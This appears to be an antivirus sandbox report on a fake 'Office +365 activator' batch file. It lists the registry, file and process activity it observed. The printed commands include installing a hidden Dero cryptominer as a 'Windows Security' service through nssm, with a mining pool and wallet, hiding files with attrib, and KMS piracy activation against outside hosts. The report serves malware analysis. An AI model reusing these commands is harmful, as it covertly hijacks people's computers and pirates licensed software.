Technical Information
To ensure autorun and distribution
Creates the following services
- [<HKLM>\System\CurrentControlSet\Services\Windows Security] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\Windows Security] 'ImagePath' = 'C:\Perform\nssm.exe'
Modifies file system
Creates the following files
- %TEMP%\4b05.tmp\x - copia.bat
- %TEMP%\4b05.tmp\7za.exe
- %TEMP%\4b05.tmp\files.7z
- C:\perform\defender.exe
- C:\perform\nssm.exe
- C:\perform\update.exe
- C:\perform\winring0x64.sys
- %TEMP%\5c1c.tmp\ativador office +365.bat
- nul
Sets the 'hidden' attribute to the following files
- C:\perform\defender.exe
- C:\perform\nssm.exe
Deletes the following files
- %TEMP%\4b05.tmp\x - copia.bat
Moves the following files
- from %TEMP%\4b05.tmp\files.7z to C:\perform\files.7z
- from %TEMP%\4b05.tmp\7za.exe to C:\perform\7za.exe
Miscellaneous
Creates and executes the following
- 'C:\perform\7za.exe' x files.7z -aoa -p6H5d75Z8QwgEeQyU
- 'C:\perform\update.exe'
- 'C:\perform\nssm.exe' install "Windows Security" "C:\Perform\Defender.exe" "--donate-level 1 -t 1 --coin dero -o stratum+tcp://pool.dero.fairhash.org:1333 -u dERirD3WyQi4udWH7478H66Ryqn3syEU8bywCQEu3k5ULohQRcz4uoXP1...
- 'C:\perform\nssm.exe' set "Windows Security" Start SERVICE_DELAYED_AUTO_START
- '%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\4B05.tmp\x - Copia.bat" "<Full path to file>""' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\4B05.tmp\x - Copia.bat" "<Full path to file>""
- '%WINDIR%\syswow64\attrib.exe' +s +h C:\Perform
- '%WINDIR%\syswow64\attrib.exe' +s +h C:\Perform\Defender.exe
- '%WINDIR%\syswow64\attrib.exe' +s +h C:\Perform\nssm.exe
- '%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\5C1C.tmp\Ativador office +365.bat" C:\Perform\update.exe"
- '%WINDIR%\syswow64\cmd.exe' /c dir /b ..\root\Licenses16\proplusvl_kms*.xrm-ms
- '%WINDIR%\syswow64\cmd.exe' /c dir /b ..\root\Licenses16\proplusvl_mak*.xrm-ms
- '%WINDIR%\syswow64\cscript.exe' //nologo ospp.vbs /unpkey:WFG99
- '%WINDIR%\syswow64\cscript.exe' //nologo ospp.vbs /unpkey:DRTFM
- '%WINDIR%\syswow64\cscript.exe' //nologo ospp.vbs /unpkey:BTDRB
- '%WINDIR%\syswow64\cscript.exe' //nologo ospp.vbs /inpkey:XQNVK-8JYDB-WJ9W3-YJ8YR-WFG99
- '%WINDIR%\syswow64\cscript.exe' //nologo ospp.vbs /sethst:kms4.MSGuides.com
- '%WINDIR%\syswow64\cscript.exe' //nologo ospp.vbs /act
- '%WINDIR%\syswow64\find.exe' /i "successful"
- '%WINDIR%\syswow64\cscript.exe' //nologo ospp.vbs /sethst:kms5.MSGuides.com
- '%WINDIR%\syswow64\cscript.exe' //nologo ospp.vbs /sethst:kms6.MSGuides.com
